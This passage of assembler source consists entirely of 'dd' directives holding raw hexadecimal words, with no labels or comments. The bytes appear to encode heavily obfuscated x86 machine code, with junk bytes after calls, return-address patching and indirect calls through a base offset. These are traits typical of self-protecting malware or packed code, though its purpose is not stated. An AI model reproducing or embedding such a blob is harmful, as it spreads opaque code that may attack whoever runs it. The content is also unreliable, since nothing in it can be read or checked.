		dd 0B01B5FFh, 10E9060Bh, 6000000h, 29EEDD61h, 324864A8h
		dd 0DBCEF087h, 8D39130Ch, 0B390D85h, 0FFFE8B06h, 3DBD8BD0h
		dd 89060B00h, 0B059985h
		dd 75BF6606h, 4585C6EFh, 43060B28h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 9DC35040h, 47D5A5E5h, 89529C84h
		dd 0B088D85h, 4AA76806h, 0BD03C076h, 60B1FD5h, 0B01B5FFh
		dd 858D060Bh, 60B390Dh,	6810Fh,	0BD2B0000h, 60B0719h, 0FC60D0FFh
		dd 1AAD9D03h, 8961060Bh, 0B0B8D85h, 0D58D2906h,	80060B17h
		dd 0E00ECBDh, 840F0006h, 0CEh, 0CE858DF8h, 8B060E00h, 0B080195h
		dd 6A5006h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0CFB0FFC3h, 0E8016AFCh, 6, 0F4259CADh, 958B684Fh
		dd 60B1BB1h, 6A006A5Ah,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 89C3C356h, 0B2761B5h
		dd 0E9006A06h, 8, 0F49F975Dh, 14DBB6F9h, 27A595FFh, 7E9060Bh
		dd 50000000h, 0A2DC5B95h, 85898FE8h, 60B281Dh, 15F1958Bh
		dd 0FF6A060Bh, 2B69958Bh, 8C0F060Bh, 5,	0D0669ABFh, 1DB5FF79h
		dd 0E8060B28h, 0Bh, 0F9C25AD5h,	4508DE84h, 8968C1E4h, 0B2AC99Dh
		dd 95FF5A06h, 60B2411h,	2961B509h, 0C08B060Bh, 0BD83EB8Ah
		dd 60B05BDh, 83097500h,	0B29D1BDh, 19740006h, 0C08B5350h
		dd 7D1B8h, 35858900h, 8D060B2Ah, 0DB31A9Dh, 5BD3FF06h
		dd 0D1BD8358h, 60B29h, 53501774h, 7D1B8h, 35858900h, 8D060B2Ah
		dd 0DB0099Dh, 5BD3FF06h, 6AFB8B58h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 67B7C352h
		dd 4990AEEBh, 4A818E1Eh, 0EE8AC08Bh, 284585C6h,	8B47060Bh
		dd 0B23058Dh, 0B5896006h, 60B2E41h, 0F7C16861h,	0BD8993C8h
		dd 60B02A1h, 0B01B5FFh,	958B060Bh, 60B0B25h, 390D858Dh
		dd 8166060Bh, 0FF9147E2h, 0B5B589D0h, 50060B1Eh, 2E91958Bh
		dd 858D060Bh, 60E050Fh,	2205BD8Bh, 0C7060Bh, 94h, 220D9523h
		dd 358060Bh, 0B2DE995h,	0FB58D06h, 8B060E05h, 0B2A59BDh
		dd 0D0FF5606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0ACC35343h, 0F1BD897Bh,	8D060B0Eh, 0E050F85h, 4788306h
		dd 3A850F06h, 80000000h, 85C77FC9h, 60E05A3h, 1, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0AC35040h, 0AE93B4Ch
		dd 1B000000h, 0DB4997A7h, 0EF00C301h, 0B5BD8386h, 60B00h
		dd 38850Fh, 85090000h, 60B2DF1h, 5A3BD83h, 0F00060Eh, 2585h
		dd 358D2B00h, 83060B29h, 0B08D1BDh, 840F0006h, 12h, 85C7F88Bh
		dd 60B0021h, 0
		dd 3A98D89h, 8C66060Bh,	13E8DBh, 0D4B10000h, 0E4A280B7h
		dd 806CF5B4h, 0DA833A01h, 2393401Fh, 0AE918h, 8BB70000h
		dd 22DF6604h, 0ED18204Ah, 0E58D315Fh, 0F6060B29h, 840F04C3h
		dd 58Fh, 0B1985C7h, 60Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0DD5BF4C3h, 65B79F10h
		dd 575F4246h, 59D3BF0Fh, 6E18166h, 0F9BD809Bh, 60E00h
		dd 18850Fh, 13E90000h, 24000000h, 0C1E6104Eh, 0CFBAFF1Ah
		dd 0F14EA70Ch, 4FCCB41Dh, 85C6CBD0h, 60B2845h, 9BD2947h
		dd 68060B06h, 0E3E45B86h, 0AE5B531h, 0B5FF060Bh, 60B0B01h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E8C35545h
		dd 0C55923E2h, 66FD1F6Dh, 8B5840BAh, 0B2099BDh,	0D858D06h
		dd 80060B39h, 0D0FFFDE6h, 8E9h,	51D26000h, 0ABAE947Bh
		dd 104685Eh, 0C6BF0000h, 8D63433Ch, 0B099D9Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0B625F682h, 2367697Fh, 0B00F9BDh, 81665306h,	0FFD666DFh
		dd 0D3B70FD0h, 0ABEF8166h, 9D858D26h, 89060B09h, 0B1F71BDh
		dd 64B65006h, 0AB858Dh,	6A060Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 2A91B8C3h, 0FFF91F09h
		dd 50006A50h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 1002EE54h, 661BC8EAh, 8D3FAAB9h,	0DF77E85h
		dd 9D895006h, 60B2AA5h,	0D95FFh, 6660060Bh, 9A15E981h
		dd 8361F78Ah, 13E90CC4h, 52000000h, 97AE0821h, 0F5D0F9B6h
		dd 3B34F330h, 750115C1h, 6AAE66h, 8068h, 6A036A00h, 68006A00h
		dd 80000000h, 0F77E858Dh, 0FF50060Dh, 0B026595h, 8E858906h
		dd 0C6060E00h, 0B284585h, 87684706h, 0FFC7B15Eh, 0B0B01B5h
		dd 0D858D06h, 0FF060B39h, 0FF006AD0h, 0E008EB5h, 8BD0FF06h
		dd 0B0C2D8Dh, 3D29B506h, 37D0h,	4C830Fh, 958B0000h, 60B13C1h
		dd 8EB5FFh, 0B589060Eh,	60B059Dh, 161FD981h, 95FF52E4h
		dd 60B0B8Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0F9C35242h, 9C808EBh, 0D7BF0F0Dh, 115E9h, 0FC10BF00h
		dd 0B5FF3A5Eh, 60E008Eh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0D6C35343h, 0FF8F6331h, 0B0B8D95h, 0E18D8B06h
		dd 6A060B28h, 0D68B6600h, 820F006Ah, 6,	2041B529h, 0BD8B060Bh
		dd 60B0079h, 8B66006Ah,	0B1006ACFh, 66006AB0h, 6AF88Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BC35343h
		dd 8D473ACDh, 0E009285h, 3D9D8906h, 50060B05h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 54C35747h, 3FEF0DBAh
		dd 6595FF72h, 6A060B02h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E90FC357h,	11h, 0CD2C38FDh
		dd 28179745h, 11DCC0E0h, 9B055134h, 0FFF883F5h,	188850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0C459F0C3h, 1F07F551h, 69D958Bh, 858D060Bh
		dd 60DBB83h, 0B966D0FFh, 6AFAC3h, 0AE957h, 0BAF10000h
		dd 0A420E6C1h, 76CC2D5Bh, 1006A5Fh, 0B04CD85h, 60606006h
		dd 8D8D8961h, 61060B09h, 82DDCCB8h, 6A612Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 6EC35141h, 0F8BF0FD5h
		dd 55B6006Ah, 6A6BC980h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0F299FF4Fh, 0F0D2D984h
		dd 6AE723h, 98F3F181h, 858D734Dh, 60E0092h, 6958D0Bh, 8950060Bh
		dd 0B0F098Dh, 6595FF06h, 0E8060B02h, 13h, 0D6686C9Dh, 98B75CB0h
		dd 0F5872D2Ch, 5529ADDh, 0FA8921Eh, 28Fh, 59616000h, 0FFFF883h
		dd 8D85h, 0B5B58900h, 8D060B1Fh, 0DFA9AB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8DCC95C3h, 0DA5F985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0FFCB8713h, 8138B2D0h
		dd 31CB99C9h, 66006A0Ah, 0D809EA81h, 3699589h, 95FF060Bh
		dd 60B2F4Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0F4C35646h, 0AD7E6DAAh,	8589FA8Bh, 60E008Eh, 2AE18D8Bh
		dd 6A060Bh, 59D78B53h, 86858Dh,	0C8B5060Eh, 0D7816650h
		dd 46ACEECh, 28E5BD23h,	8D8B060Bh, 60B1E85h, 1F75858Dh
		dd 0BD8B060Bh, 60B1A59h, 0D68B6650h, 0F83CCF81h, 6A46ADh
		dd 8D8B006Ah, 60B0259h,	168D0Fh, 11E90000h, 14000000h
		dd 9025C0DFh, 0C7BB1366h, 0B0E3CEC8h, 6655D5A3h, 6E9016Ah
		dd 8000000h, 0E87602Eh,	8EB5FF3Ah, 0E9060E00h, 12h, 0D303E876h
		dd 0CA5410ECh, 37631970h, 0B3E9E178h, 95FFA526h, 60B0599h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0B1C35141h
		dd 2FFE81BAh, 46E9E94Eh, 0E800001Bh, 6,	0EE814A2Dh, 840F48E5h
		dd 6, 0BDDBD33h, 8B59060Bh, 0BD83F9C0h,	60B05BDh, 83097500h
		dd 0B29D1BDh, 19740006h, 0C08B5350h, 7D2B8h, 35858900h
		dd 8D060B2Ah, 0DB31A9Dh, 5BD3FF06h, 0D1BD8358h,	60B29h
		dd 53501774h, 7D2B8h, 35858900h, 8D060B2Ah, 0DB0099Dh
		dd 5BD3FF06h, 0EE958h, 1E370000h, 0FF8A4AACh, 5D08C6AAh
		dd 0FE6B1D7Eh, 6ACB8B66h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 6C1BC357h, 0E8C08B2Eh
		dd 7, 77203B9h,	8BFDA4C2h, 0B0C418Dh, 85C75906h, 60B0B19h
		dd 1, 11E9h, 0F382600h,	0BF4565D4h, 0B193EE47h,	2F74AEC7h
		dd 0B8687164h, 0FFCEE4E7h, 0B194DB5h, 0D858D06h, 0FF060B39h
		dd 658589D0h, 68060B18h, 0C005DBD4h, 194DB5FFh,	858D060Bh
		dd 60B390Dh, 8589D0FFh,	60B2A61h, 0F537858Dh, 0FF50060Dh
		dd 0B0B01B5h, 0D195FF06h, 0B060B13h, 8B0B74C0h,	0EA858DD8h
		dd 50060E04h, 858DD3FFh, 60E04EAh, 9388366h, 85C70A75h
		dd 60B0DB1h, 1,	165D95FFh, 0FF25060Bh, 83000000h, 0A7305F8h
		dd 285985C7h, 1060Bh, 0CE90000h, 0C5000000h, 82FF728Bh
		dd 0CED6CE05h, 0E977AC21h, 0Eh,	0D1492DC6h, 4834CF2h, 9DD0919Eh
		dd 0BD8052AEh, 60E00F9h, 11850F00h, 8B000000h, 0B0331BDh
		dd 19B7E906h, 958B0000h, 60B08B1h, 0DB1BD83h, 0F00060Bh
		dd 0B685h, 0AB25700h, 0C3858D59h, 6A060E00h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 356DC357h, 2CA65AF1h, 0DADB589h, 8B50060Bh, 0B18118Dh
		dd 66016A06h, 6AFE8Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0C7C35242h, 0FE9D60A4h, 53B0B313h, 9D8D89FAh
		dd 0F060B0Fh, 6AD1B7h, 0D7805060h, 8B605E03h, 236161C7h
		dd 0B0BC5BDh, 0A595FF06h, 8B060B27h, 0ED8589CFh, 0F060E00h
		dd 28Dh, 6A10B500h, 5EDF81FFh, 0FF04E609h, 0E00EDB5h, 69BD8B06h
		dd 0FF060B1Fh, 0B241195h, 5958B06h, 8D060B15h, 0DF4FE85h
		dd 81958B06h, 0F060B21h, 686h, 0A99D8900h, 50060B1Fh, 21258D8Bh
		dd 8529060Bh, 60B2F39h,	287595FFh, 0BD8B060Bh, 60B12A5h
		dd 0F5888589h, 0BE9060Dh, 14000000h, 0FE0E2389h, 0F3016B9Eh
		dd 858D59B7h, 60DF50Bh,	0BE9h, 0D7D57500h, 5E5E00CCh, 50218AACh
		dd 0CE850h, 0B1A20000h,	1D20F540h, 0AC89A76Dh, 950B621Fh
		dd 60B2B59h, 88B5FF5Fh,	6A060DF5h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 7C36C356h
		dd 0C3D98166h, 8D2952FCh, 60B0415h, 0D195FF59h,	6A060B13h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 3D7DC353h, 958BEE14h, 60B059Dh, 89FE8B66h
		dd 0B1B8D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0E800B598h, 8, 767FDD78h,	1FBA2F6Ah
		dd 15D68056h, 5E95A5Fh,	28000000h, 32749303h, 0F579858Dh
		dd 0BD89060Dh, 60B0979h, 8B50CE8Bh, 0B33518Dh, 88B5FF06h
		dd 0FC060DF5h, 2C9BD8Bh, 95FF060Bh, 60B13D1h, 16BDBD89h
		dd 6E9060Bh, 9000000h, 0C44795E4h, 9C858937h, 6A060DF5h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0C018C353h, 10E8E064h, 29000000h,	0BB5F5383h
		dd 146D78B3h, 0C215D8DEh, 0B531321Ah, 858D5973h, 60DF558h
		dd 72E5CA81h, 8B500E0Ah, 0B20698Dh, 318D8B06h, 0FF060B2Fh
		dd 0DF588B5h, 0CBBF0F06h, 3C99D89h, 95FF060Bh, 60B13D1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 4EC35747h
		dd 38E119h, 8B18EE0Ah, 0B01658Dh, 94858906h, 50060DF5h
		dd 0F8BF0F60h, 27359D8Bh, 5F61060Bh, 0F54B858Dh, 6A060Dh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 50A818C3h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Bh,	0D8C35646h, 0A0E1F16Ah,	66DFC69Bh, 0FF0889B9h
		dd 0DF588B5h, 0EE806h, 0F8420000h, 2FAC39B4h, 0B2FFE26Ch
		dd 208FAD52h, 1375BD2Bh, 895A060Bh, 0B014995h, 0D195FF06h
		dd 8B060B13h, 0B063D95h, 0B5295106h, 60B00F1h, 9885895Fh
		dd 8A060DF5h, 66858DD3h, 81060DF5h, 7DEF0DE9h, 0E2815020h
		dd 4775E9EBh, 0F588B5FFh, 6A060Dh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 7D3814C3h, 0E8E0DA5Ah
		dd 12h,	0EE035520h, 4BCD8277h, 0AC87392h, 4B762E26h, 0EF8A06EDh
		dd 95FFFC59h, 60B13D1h,	0F18589F5h, 0E9060B02h,	8, 6C0DCF21h
		dd 686B57B8h, 0F51A858Dh, 0B70F060Dh, 0B70F50D0h, 88B5FFD7h
		dd 0B9060DF5h, 352385E0h, 13D195FFh, 0B966060Bh, 85892CE7h
		dd 60DF58Ch, 15298D0Bh,	0CE8060Bh, 0BF000000h, 91CD4019h
		dd 28B5B065h, 891AC02Eh, 0B0439BDh, 858D5F06h, 60DF529h
		dd 68B0Fh, 8D8B0000h, 60B22F1h,	0BD2B5750h, 60B31B5h, 88B5FF5Fh
		dd 0E9060DF5h, 10h, 0F3066DA2h,	0A1C3F032h, 8F255D9h, 0E57777C9h
		dd 13D195FFh, 0E680060Bh, 908589BEh, 0B2060DF5h, 0FE9C9h
		dd 54910000h, 6AF6D185h, 2DE06BAFh, 0B75D83F3h,	1046893h
		dd 870F0000h, 6, 45B589h, 858D060Bh, 60DF620h, 4099589h
		dd 6050060Bh, 0CDD9589h, 11E8060Bh, 0A7000000h,	0B41DF14Eh
		dd 0CBD04FCCh, 28D6D084h, 347129B9h, 20B5B523h,	615B060Bh
		dd 0F724858Dh, 0BD89060Dh, 60B1FB5h, 53006A50h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0DE2AB413h
		dd 3EEAB696h, 6860Fh, 8D0B0000h, 60B04A9h, 26C19589h, 95FF060Bh
		dd 60B0519h, 0E1816652h, 855FBEF4h, 2850FC0h, 8B000000h
		dd 0F9BD80FAh, 60E00h, 11850Fh,	8D8B0000h, 60B2969h, 14A8E9h
		dd 29B58900h, 83060B31h, 0B0DB1BDh, 850F0006h, 21h, 8B31FEB9h
		dd 0C9BF0F23h, 5A3BD83h, 0F00060Eh, 2584h, 68D0F00h, 89000000h
		dd 0B0B6585h, 0BD858D06h, 0F060DF5h, 66E9D3B7h,	0E9000014h
		dd 12h,	0E719589h, 858D060Bh, 60DF5A8h,	122D958Bh, 6A50060Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8BC4C356h, 0B0EF18Dh, 20858D06h, 81060DF6h
		dd 0BB6DC5EFh, 0B9665007h, 0BD83CE07h, 60B0DB1h, 71840F00h
		dd 0E9000000h, 8, 52A5D089h, 0DBB575F6h, 0F746858Dh, 6A060Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 14697AC3h, 0EA22BF7Ah, 5ED8D8Bh, 8A0F060Bh, 11h, 0B8D0Fh
		dd 6E90000h, 0E0000000h, 4DAC5723h, 26E994h, 29600000h
		dd 0B0341B5h, 6860F06h,	89000000h, 0B067985h, 0B5896106h
		dd 60B0F61h, 0F72F858Dh, 8D89060Dh, 60B00D9h, 7E858D50h
		dd 66060DF7h, 8950FE8Bh, 0B21A985h, 0D95FF06h, 0F060B00h
		dd 0C280D7BFh, 10C48377h, 0FAACBF66h, 6AC08Bh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0A2180FC3h, 0BD837A8Ch, 60B05BDh, 83097500h,	0B29D1BDh
		dd 19740006h, 0C08B5350h, 7D3B8h, 35858900h, 8D060B2Ah
		dd 0DB31A9Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h
		dd 7D3B8h, 35858900h, 8D060B2Ah, 0DB0099Dh, 5BD3FF06h
		dd 0B5295358h, 60B1A2Dh, 6870F5Ah, 81000000h, 33959DDAh
		dd 66C08B24h, 0BD81D78Bh, 60DF5A8h, 6165726Fh, 8F840Fh
		dd 0BA660000h, 9D8955AFh, 60B3349h, 0F620858Dh,	8D50060Dh
		dd 0DF75D85h, 858D5006h, 60DF77Eh, 0D95FF50h, 83060B00h
		dd 85C60CC4h, 60B2845h,	184F6844h, 0B5FF96A3h, 60B0B01h
		dd 390D858Dh, 0D0FF060Bh, 858DD88Bh, 60DF77Eh, 8DD3FF50h
		dd 0DF5A885h, 858D5006h, 60DF620h, 0B1BD8350h, 60B0Dh
		dd 858D0874h, 60DF746h,	858D06EBh, 60DF72Fh, 7E858D50h
		dd 50060DF7h, 0D95FFh, 0C483060Bh, 198D2310h, 8B060B07h
		dd 0B17D9BDh, 5D95FF06h, 6A060B16h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0EE00C351h
		dd 25840B76h, 0FFh, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 10C35343h, 0EDA99ABAh, 0C280986Ch, 0BDEE80F5h
		dd 0F05F883h, 2483h, 5985C700h,	1060B28h, 0F000000h, 58Ch
		dd 7B91BA00h, 858D737Eh, 60DF5DCh, 43E92DB2h, 0B6000000h
		dd 0B1BD836Bh, 60B0Dh, 2E840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 858D6BC3h
		dd 60DF607h, 0DCF8166h,	8E938h,	0FB8B0000h, 0F5E9858Dh
		dd 8589060Dh, 60DF61Ch,	0E9F98B66h, 11h, 9B5548FDh, 93BEE265h
		dd 0FE129581h, 327CF8BAh, 0B1BD83F3h, 60B0Dh, 21850Fh
		dd 0DF810000h, 28B6F77Eh, 9EAB18B9h, 0A3BD8318h, 60E05h
		dd 2F840Fh, 0B70F0000h,	0AD8D23CAh, 0E9060B0Ch,	1135h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 4FC35242h
		dd 0BCF0854Dh, 447E952h, 0BD8B0000h, 60B1599h, 0B589C08Bh
		dd 60B053Dh, 5BDBD83h
		dd 7500060Bh, 0D1BD8309h, 60B29h, 53501974h, 0D4B8C08Bh
		dd 89000007h, 0B2A3585h, 1A9D8D06h, 0FF060DB3h,	83585BD3h
		dd 0B29D1BDh, 17740006h, 0D4B85350h, 89000007h,	0B2A3585h
		dd 99D8D06h, 0FF060DB0h, 8B585BD3h, 0B0DA195h, 0DDB50906h
		dd 8B060B03h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 8952AC8Ah, 0B0D45B5h, 3F685A06h
		dd 6A000F00h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 3841C353h, 5481F0E0h, 0A3203B75h
		dd 67E98166h, 8DBD8927h, 6A060B21h, 0E18D8B00h,	66060B01h
		dd 0F6F3D181h, 8D8B006Ah, 60B0AD1h, 1B8D95FFh, 8D8B060Bh
		dd 60B0F19h, 850FC085h,	9, 1EA18D8Bh, 8B66060Bh, 0A08589CEh
		dd 6A060DF5h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 3280C357h, 95F014CFh, 0CA8BDEFBh
		dd 6AEBB2h, 33758D8Bh, 6A060Bh,	8D8B006Ah, 60B26F5h, 0AE9006Ah
		dd 30000000h, 12647A53h, 2A61FD17h, 8D006A79h, 0DF77E85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0A0658103h, 0F5350FFh, 38Fh, 0CF8B6600h
		dd 8B016A59h, 0B2016AF9h, 29016A15h, 0B299D9Dh,	1FF6806h
		dd 0B966000Fh, 0BD83D9D4h, 60B0DB1h, 2A840F00h,	60000000h
		dd 19359D8Bh, 0CD80060Bh, 858D61BBh, 60DF5FDh, 29FD8D8Bh
		dd 3EE9060Bh, 0E9000000h, 9, 0B19D05EBh, 674F3929h, 0D3858DF3h
		dd 60060DF5h, 61953151h, 5F060B11h, 14E8h, 7240B800h, 0C9753296h
		dd 5F1B3DDAh, 0FE9B5F3h, 0A1959FFh, 0F9852B5Dh,	58060B31h
		dd 6A505061h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 17FC353h, 7CA423BFh, 0E9C2B63Eh
		dd 10h,	6B7DBB91h, 302A4E9Eh, 2BB7659Eh, 72508963h, 0F5A0B5FFh
		dd 0CF8B060Dh, 8C95FFFCh, 0F060DF5h, 681h, 59958B00h, 3060B31h
		dd 0B12B995h, 0FC08506h, 2F85h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 893A3C59h
		dd 0B00E99Dh, 43E906h, 9D890000h, 60B1359h, 0F5A48589h
		dd 8166060Dh, 0FFF0CEE2h, 0DF5A4B5h, 6E906h, 0CF580000h
		dd 0AA55413Ah, 2F195FFh, 8B50060Bh, 0B1FAD95h, 0C0855906h
		dd 0B850Fh, 6E90000h, 0C9000000h, 5FDF793Eh, 2B106AD7h
		dd 0B20BD95h, 5B58906h,	83060B29h, 0B0DB1BDh, 840F0006h
		dd 1Ch,	87DB589h, 858D060Bh, 60DF5FDh, 0D8C641B9h, 12E942h
		dd 0DF810000h, 7A702B7Eh, 0F5D3858Dh, 8531060Dh, 60B0C0Dh
		dd 798D8B50h, 0F060B05h, 689h, 0D9858900h, 0FF060B17h
		dd 0DF5A0B5h, 28F0F06h,	8B000000h, 9895FFCFh, 8B060DF5h
		dd 0FC085FAh, 1285h, 0C820F00h,	0F000000h, 689h, 800F00h
		dd 89000000h, 0DF5A485h, 49BD8B06h, 6A060B33h, 9D858900h
		dd 6A060B08h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0DD810B19h, 0F8E51ECEh, 10E96091h
		dd 0C5000000h, 9D8E2C7h, 4F53F3FDh, 86B5EE51h, 0BE686FB9h
		dd 29FC9AE5h, 0A4B5FF61h, 8B060DF5h, 0B0339BDh,	9095FF06h
		dd 2B060DF5h, 0B2F498Dh, 0FC08506h, 2085h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 1CC6C6A0h, 0A4B5FFE5h, 80060DF5h, 95FFEEDEh,	60B02F1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0BCC35040h
		dd 0F76AAEE5h, 89D6BEAFh, 0B2021BDh, 0FC08506h,	2485h
		dd 10E86000h, 8B000000h, 2244DEE8h, 4FBA7F71h, 0F388535Eh
		dd 8B98D58Ch, 0B2F35BDh, 0BD895806h, 60B2A69h, 6A006A61h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 8C1DC355h, 0BD29C8DFh, 60B0995h, 8068h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0EE9F1h, 0F4800000h,	6FBFDD38h, 0E4E801DEh, 0F850EF7Ah
		dd 0B589036Ah, 60B06E9h, 0BD89006Ah, 60B1A59h, 0E280006Ah
		dd 5860F28h, 66000000h,	316BD781h, 68h,	0FFD38AC0h, 0DF61CB5h
		dd 0C9816606h, 95FF8FA0h, 60B0265h, 0B7D98166h,	0DE8DCh
		dd 0B6C50000h, 4793E45Fh, 0B6C70962h, 8B248029h, 0F8835ACBh
		dd 66850FFFh, 0BA000005h, 779A95A1h, 18D99529h,	85FF060Bh
		dd 60E008Ah, 246D9501h,	9D89060Bh, 60B3281h, 8ABD83h, 0F02060Eh
		dd 40A84h, 0DD00B900h, 858D6C33h, 5AF59Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 5AC35242h, 61393360h
		dd 0FD0FF8Eh, 987h, 38A0F00h, 80000000h, 858D4CD2h, 5AEFF2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 81C35646h
		dd 8B80041Dh, 0B07F9BDh, 0E9D0FF06h, 10h, 73EABD59h, 0CC9D0E80h
		dd 6F6C4AC6h, 0C5525A85h, 7E8h,	0BEE0C600h, 743F1A81h
		dd 5AD4E180h, 9D29C08Bh, 60B2A69h, 5BDBD83h, 7500060Bh
		dd 0D1BD8309h, 60B29h, 53501974h, 0D8B8C08Bh, 89000007h
		dd 0B2A3585h, 1A9D8D06h, 0FF060DB3h, 83585BD3h,	0B29D1BDh
		dd 17740006h, 0D8B85350h, 89000007h, 0B2A3585h,	99D8D06h
		dd 0FF060DB0h, 0E9585BD3h, 0Dh,	70B744E9h, 745CFFECh, 0F145EF55h
		dd 0CEF781CAh, 803B8C9Ch, 0C08BA6C5h, 4398501h,	3F68060Bh
		dd 8B000F00h, 0B185995h, 8B006A06h, 9E9FAh, 342F0000h
		dd 785ED287h, 6AE1286Eh, 6800F00h, 89000000h, 0B27FD85h
		dd 8D95FF06h, 6A060B1Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0F233C355h,	6EC67886h
		dd 8589C085h, 60B0069h,	0F5A08589h, 6A060Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 83B611C3h
		dd 81665676h, 6839B5DAh, 0F01FFh, 23F58D8Bh, 0BD83060Bh
		dd 60B0DB1h, 36840F00h,	8B000000h, 0B291995h, 0FD858D06h
		dd 0B060DF5h, 0B158DBDh, 4CE906h, 8B660000h, 0EE850FAh
		dd 0A000000h, 557036FDh, 0E758C953h, 84D7893h, 3DBD89EAh
		dd 5F060B1Bh, 0D3858D59h, 6A060DF5h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 4A3FC353h
		dd 0BEE8F3Bh, 84C8BA1Ch, 665052FEh, 3F67EA81h, 0F5A0B5FFh
		dd 0C181060Dh, 219881FDh, 0F59895FFh, 9E8060Dh,	49000000h
		dd 11C6054Ah, 0C730697Eh, 6880Fh, 0DF810000h, 435CBECCh
		dd 0A485895Ah, 23060DF5h, 0B0CF18Dh, 0CA8B6606h, 0C7D85C7h
		dd 60Bh, 0F1800000h, 0A4BD83A5h, 60DF5h, 18F840Fh, 8E80000h
		dd 0AE000000h, 745B2D98h, 0BAB14B5Ah, 6F87E7EFh, 82858D5Ah
		dd 89060DF8h, 0B292D9Dh, 81665006h, 6AEDD7CFh, 0CA816601h
		dd 0B5FF5455h, 60DF5A4h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0DBC35242h, 75DD9E18h, 95FFF94Ah, 60DF59Ch
		dd 1BC1B501h, 0B5FF060Bh, 60DF5A4h, 0DAD9529h, 95FF060Bh
		dd 60B02F1h, 2E758D8Bh,	0FF68060Bh, 1000F01h, 0B319195h
